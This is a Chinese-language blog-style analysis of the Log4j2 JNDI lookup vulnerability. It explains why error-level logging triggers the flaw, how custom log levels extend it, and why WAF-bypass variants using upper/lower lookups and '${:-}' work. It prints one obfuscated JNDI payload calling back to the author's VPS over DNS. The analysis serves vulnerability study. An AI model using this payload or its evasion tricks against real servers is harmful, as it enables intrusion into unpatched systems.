log4j2火爆全網,這裡抽空簡單分析下,幾個疑惑點的解答
log4j2這波屬于官方自爆:
https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup
官方文檔lookup使用:

稍微學過一點ldap注入的都會嘗試下ldap://,哈哈哈,開個玩笑~
漏洞本質原因是jndi:分支最後走到了lookup:
當列印log的時候,輸入的變量會被lookup污染
/org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class
漏洞原理沒啥好講的,一步步跟代碼又臭又長.
先示範漏洞效果:
測試demo:
運作代碼:
發現vps上接收到本地發送的請求,這裡不示範漏洞利用rce,點到為止,至此,漏洞利用示範完成
幾個疑惑點解惑
網傳隻有error等級可以觸發ldap注入,而.info/debug等日志等級無法觸發,這是為什麼呢?我沒看到網上有人分析,這裡簡單過一下
首先error處打斷點:
統一使用step into去跟函數:
繼續往下跟,這是關鍵:
跟進isEnabled函數:
繼續往下跟:
其中的關鍵點在于最後的判斷:
首選判斷等級不能為空,并且目前等級要大于等級設定的等級
可以發現目前的等級是200,我們調用的error等級也是200,是以滿足條件,傳回true
對于滿足條件的,進logMessage
通過上面的調試,我們知道了error對應的等級數值是200
檢視log4j2文檔,我們找到了相關的說明:
預設this.intLevel為200,那麼滿足條件的有ERROR/FOTAL,測試一把:
示範兩個成功的以後,示範失敗的,修改等級為debug:
發現我們的intLevel還是200,而error級别是500了,很明顯不符合條件,最終傳回false
直接跳出了if判斷
讓debug也可以觸發很簡單,隻要修改privateConfig中的intLevel的值,當intLevel>=500即可觸發
這邊嘗試修改配置檔案,是不行的,得動态修改,修改自定義代碼如下:
再次運作代碼:
debug跟一下:
發現我們的this.intLevel是500,滿足條件
結論:别的等級也可以觸發,需要動态設定等級,如果開發自定義了等級,即可在其他等級上觸發漏洞
前面在漏洞産生原因處已經說明漏洞原因,現在直接在lookup處debug:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class#86
在error處debug:
使用跳轉debug,跳轉到lookup:
這一串利用連結,還是相當複雜的,source很難,sink很簡單.
又臭又長的分析不搞了,有興趣的可以自己跟進去看代碼.
網上出了很多bypass waf變形payload,如下所示:
通用的問題,我就挑兩個出來講講,首先是upper和lower:
簡單說下原理:
先在這裡下斷點:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class
往下跟跳:
手動點選進入lookup函數:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrLookup.class
通過idea檢視接口實作類:
16個實作接口類,lower和upper看一個即可:
如果payload裡包含lower:
會走lower的lookup:
/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/LowerLookup.class
同理jndi走jndilookup的分支,upper走upperlookup的分支
那麼jndi走lookup
/Users/qixin01/.m2/repository/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/JndiLookup.class
其中最不解的是${:-},這個bypass變種
這裡多次debug發現問題在:
會根據:-分割,是以要包含:-
${:-}會被自動處理掉
我的測試payload:${j${:-}n${:-}d${:-}i${:-}:${:-}${123::-}${:-}${:-}${:-}${:-}${:-}d${::-}n${::-}s://v p s ip:53/
簡單分析了下,如果有錯誤,歡迎指出.